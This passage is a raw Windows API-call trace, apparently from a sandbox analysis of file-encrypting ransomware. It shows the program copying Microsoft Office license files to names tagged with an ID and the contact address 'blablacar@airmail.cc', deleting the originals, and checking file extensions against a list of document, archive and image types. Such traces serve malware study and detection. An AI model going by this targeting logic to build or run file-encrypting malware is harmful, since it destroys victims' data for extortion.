SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0210.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0210.249] GetLastError () returned 0x0 [0210.249] ReadFile (in: hFile=0x518, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2993, lpOverlapped=0x0) returned 1 [0210.251] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x29a0, lpOverlapped=0x0) returned 1 [0210.252] ReadFile (in: hFile=0x518, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0210.253] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x10a, lpOverlapped=0x0) returned 1 [0210.253] SetEndOfFile (hFile=0x574) returned 1 [0210.253] CloseHandle (hObject=0x574) returned 1 [0210.253] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0210.253] SetEndOfFile (hFile=0x518) returned 1 [0210.256] CloseHandle (hObject=0x518) returned 1 [0210.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0210.256] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-pl.xrm-ms")) returned 1 [0210.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms") returned 77 [0210.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms") returned 77 [0210.257] lstrlenW (lpString=".doc") returned 4 [0210.257] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.257] lstrlenW (lpString=".docx") returned 5 [0210.257] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.257] lstrlenW (lpString=".pdf") returned 4 [0210.257] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.257] lstrlenW (lpString=".xls") returned 4 [0210.257] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.257] lstrlenW (lpString=".xlsx") returned 5 [0210.257] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.257] lstrlenW (lpString=".ppt") returned 4 [0210.257] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms") returned 77 [0210.257] lstrlenW (lpString=".zip") returned 4 [0210.257] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.257] lstrlenW (lpString=".rar") returned 4 [0210.257] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.257] lstrlenW (lpString=".bz2") returned 4 [0210.257] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.258] lstrlenW (lpString=".7z") returned 3 [0210.258] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms") returned 77 [0210.258] lstrlenW (lpString=".dbf") returned 4 [0210.258] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms") returned 77 [0210.258] lstrlenW (lpString=".1cd") returned 4 [0210.258] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms") returned 77 [0210.258] lstrlenW (lpString=".jpg") returned 4 [0210.258] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms") returned 77 [0210.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms") returned 77 [0210.258] lstrlenW (lpString=".doc") returned 4 [0210.258] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.258] lstrlenW (lpString=".docx") returned 5 [0210.258] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.258] lstrlenW (lpString=".pdf") returned 4 [0210.258] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.258] lstrlenW (lpString=".xls") returned 4 [0210.258] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.258] lstrlenW (lpString=".xlsx") returned 5 [0210.258] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.258] lstrlenW (lpString=".ppt") returned 4 [0210.258] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms") returned 77 [0210.258] lstrlenW (lpString=".zip") returned 4 [0210.258] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.258] lstrlenW (lpString=".rar") returned 4 [0210.258] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.258] lstrlenW (lpString=".bz2") returned 4 [0210.258] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.259] lstrlenW (lpString=".7z") returned 3 [0210.259] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms") returned 77 [0210.259] lstrlenW (lpString=".dbf") returned 4 [0210.259] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms") returned 77 [0210.259] lstrlenW (lpString=".1cd") returned 4 [0210.259] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms") returned 77 [0210.259] lstrlenW (lpString=".jpg") returned 4 [0210.259] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.259] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0210.259] lstrlenW (lpString="OutlookR_OEM_Perp-ppd.xrm-ms") returned 28 [0210.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0210.260] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=20781) returned 1 [0210.260] CloseHandle (hObject=0x518) returned 1 [0210.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ppd.xrm-ms")) returned 0x220 [0210.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0210.260] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0210.260] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0210.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0210.261] GetLastError () returned 0x0 [0210.261] ReadFile (in: hFile=0x518, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x512d, lpOverlapped=0x0) returned 1 [0210.264] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x5130, lpOverlapped=0x0) returned 1 [0210.265] ReadFile (in: hFile=0x518, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0210.265] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x10c, lpOverlapped=0x0) returned 1 [0210.265] SetEndOfFile (hFile=0x574) returned 1 [0210.265] CloseHandle (hObject=0x574) returned 1 [0210.265] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0210.265] SetEndOfFile (hFile=0x518) returned 1 [0210.289] CloseHandle (hObject=0x518) returned 1 [0210.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0210.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ppd.xrm-ms")) returned 1 [0210.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms") returned 78 [0210.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms") returned 78 [0210.290] lstrlenW (lpString=".doc") returned 4 [0210.290] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.290] lstrlenW (lpString=".docx") returned 5 [0210.290] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.290] lstrlenW (lpString=".pdf") returned 4 [0210.290] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.290] lstrlenW (lpString=".xls") returned 4 [0210.290] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.290] lstrlenW (lpString=".xlsx") returned 5 [0210.290] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.290] lstrlenW (lpString=".ppt") returned 4 [0210.290] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms") returned 78 [0210.290] lstrlenW (lpString=".zip") returned 4 [0210.291] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.291] lstrlenW (lpString=".rar") returned 4 [0210.291] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.291] lstrlenW (lpString=".bz2") returned 4 [0210.291] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.291] lstrlenW (lpString=".7z") returned 3 [0210.291] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms") returned 78 [0210.291] lstrlenW (lpString=".dbf") returned 4 [0210.291] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms") returned 78 [0210.291] lstrlenW (lpString=".1cd") returned 4 [0210.291] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms") returned 78 [0210.291] lstrlenW (lpString=".jpg") returned 4 [0210.291] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms") returned 78 [0210.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms") returned 78 [0210.291] lstrlenW (lpString=".doc") returned 4 [0210.291] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.291] lstrlenW (lpString=".docx") returned 5 [0210.291] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.291] lstrlenW (lpString=".pdf") returned 4 [0210.291] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.291] lstrlenW (lpString=".xls") returned 4 [0210.291] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.291] lstrlenW (lpString=".xlsx") returned 5 [0210.291] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.291] lstrlenW (lpString=".ppt") returned 4 [0210.291] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms") returned 78 [0210.291] lstrlenW (lpString=".zip") returned 4 [0210.292] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.292] lstrlenW (lpString=".rar") returned 4 [0210.292] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.292] lstrlenW (lpString=".bz2") returned 4 [0210.292] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.292] lstrlenW (lpString=".7z") returned 3 [0210.292] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms") returned 78 [0210.292] lstrlenW (lpString=".dbf") returned 4 [0210.292] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms") returned 78 [0210.292] lstrlenW (lpString=".1cd") returned 4 [0210.292] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms") returned 78 [0210.292] lstrlenW (lpString=".jpg") returned 4 [0210.292] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.292] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0210.292] lstrlenW (lpString="OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 31 [0210.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0210.293] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11592) returned 1 [0210.293] CloseHandle (hObject=0x518) returned 1 [0210.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0210.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0210.294] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0210.294] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0210.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0210.295] GetLastError () returned 0x0 [0210.295] ReadFile (in: hFile=0x518, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d48, lpOverlapped=0x0) returned 1 [0210.333] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d50, lpOverlapped=0x0) returned 1 [0210.334] ReadFile (in: hFile=0x518, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0210.334] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x112, lpOverlapped=0x0) returned 1 [0210.334] SetEndOfFile (hFile=0x574) returned 1 [0210.335] CloseHandle (hObject=0x574) returned 1 [0210.335] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0210.335] SetEndOfFile (hFile=0x518) returned 1 [0210.337] CloseHandle (hObject=0x518) returned 1 [0210.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0210.515] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-oob.xrm-ms")) returned 1 [0210.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0210.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0210.876] lstrlenW (lpString=".doc") returned 4 [0210.876] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.876] lstrlenW (lpString=".docx") returned 5 [0210.877] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.877] lstrlenW (lpString=".pdf") returned 4 [0210.877] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.877] lstrlenW (lpString=".xls") returned 4 [0210.877] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.877] lstrlenW (lpString=".xlsx") returned 5 [0210.877] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.877] lstrlenW (lpString=".ppt") returned 4 [0210.877] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0210.877] lstrlenW (lpString=".zip") returned 4 [0210.877] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.877] lstrlenW (lpString=".rar") returned 4 [0210.877] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.877] lstrlenW (lpString=".bz2") returned 4 [0210.877] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.877] lstrlenW (lpString=".7z") returned 3 [0210.877] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0210.877] lstrlenW (lpString=".dbf") returned 4 [0210.877] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0210.877] lstrlenW (lpString=".1cd") returned 4 [0210.877] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0210.877] lstrlenW (lpString=".jpg") returned 4 [0210.877] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0210.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0210.877] lstrlenW (lpString=".doc") returned 4 [0210.877] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.877] lstrlenW (lpString=".docx") returned 5 [0210.877] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.878] lstrlenW (lpString=".pdf") returned 4 [0210.878] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.878] lstrlenW (lpString=".xls") returned 4 [0210.878] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.878] lstrlenW (lpString=".xlsx") returned 5 [0210.878] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.878] lstrlenW (lpString=".ppt") returned 4 [0210.878] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0210.878] lstrlenW (lpString=".zip") returned 4 [0210.878] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.878] lstrlenW (lpString=".rar") returned 4 [0210.878] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.878] lstrlenW (lpString=".bz2") returned 4 [0210.878] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.878] lstrlenW (lpString=".7z") returned 3 [0210.878] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0210.878] lstrlenW (lpString=".dbf") returned 4 [0210.878] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0210.878] lstrlenW (lpString=".1cd") returned 4 [0210.878] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0210.878] lstrlenW (lpString=".jpg") returned 4 [0210.878] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.878] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0210.878] lstrlenW (lpString="OutlookR_Trial-pl.xrm-ms") returned 24 [0210.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0210.880] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11147) returned 1 [0210.880] CloseHandle (hObject=0x554) returned 1 [0210.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-pl.xrm-ms")) returned 0x220 [0210.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.880] CreateFileW 